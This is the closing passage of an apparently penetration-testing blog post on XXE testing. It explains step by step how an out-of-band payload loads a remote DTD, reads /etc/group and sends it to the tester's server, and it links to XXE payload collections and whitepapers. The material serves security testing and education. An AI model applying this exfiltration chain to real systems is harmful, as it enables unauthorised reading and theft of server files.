<figure class="kg-card kg-image-card"><img src="https://randomactsofsecurity.com/content/images/2019/04/xxe2_http_server.PNG" class="kg-image" alt="General Approach for XML External Entity (XXE) Testing"><figcaption>XXE Showing /etc/group line 1 returned</figcaption></figure><ol><li>%param gets called which triggers a connection to our remote server for the "dtd.xml" file.</li><li>%p has been loaded into the namespace of our current XML, so we can now trigger %p to load which will write the xxe entity to the namespace.</li><li>During this write the %exfil parameter is expanded which triggers a file retrieval of /etc/group and stores it in the %exfil parameter.</li><li>Lastly, &amp;xxe; is called which triggers the data to be exfiltrated back to our server and the first line of root is retrieved and logged.</li></ol><p>If that example does not work, feel free to seek out more additional payloads at this time as they all follow that same structure for the most part. It all revolves around how the XML processor will actually expand out the parameters when doing HTTP connections.</p><h2 id="wrap-up">Wrap Up</h2><p>At a high level, that was my basic approach to testing for XXE. There are a lot more payloads and examples that I have not covered as there not really necessary and other articles are more detailed on them (see staaldrads FTP link at the bottom). I'll continue to update this page as I flesh out and discover new techniques for XXE testing.</p><hr><h2 id="references">References </h2><table>
    <tr>
        <th>Note</th>
        <th>Link</th>
    </tr>
    <tr>
        <td>XXE Payloads</td>
        <td><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection">PayloadAllTheThings XXE</a></td>
    </tr>
    <tr>
        <td>XXE Payloads 2</td>
        <td><a href="https://gist.github.com/staaldraad/01415b990939494879b4">staaldraad XXE</a></td>
    </tr>
    <tr>
        <td>Whitepaper (A must Read)</td>
        <td><a href="https://www.vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf">VSecurity XML DTD Entity Attacks</a></td>
    </tr>
    <tr>
        <td>XXE Overview Slides</td>
        <td><a href="https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf">OWASP XXE Presentation</a></td>
    </tr>
    <tr>
        <td>Whitepaper (A must Read)</td>
        <td><a href="https://www.vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf">VSecurity XML DTD Entity Attacks</a></td>
    </tr>
    <tr>
        <td>Forcing Errors</td>
        <td><a href="https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/">NetSpi Forcing XXE Reflection</a></td>
    </tr>
    <tr>
        <td>FTP XXE</td>
        <td><a href="https://staaldraad.github.io/2016/12/11/xxeftp/">staaldrad XXE via FTP</a></td>
    </tr>
</table>
        ]]></content:encoded></item></channel></rss>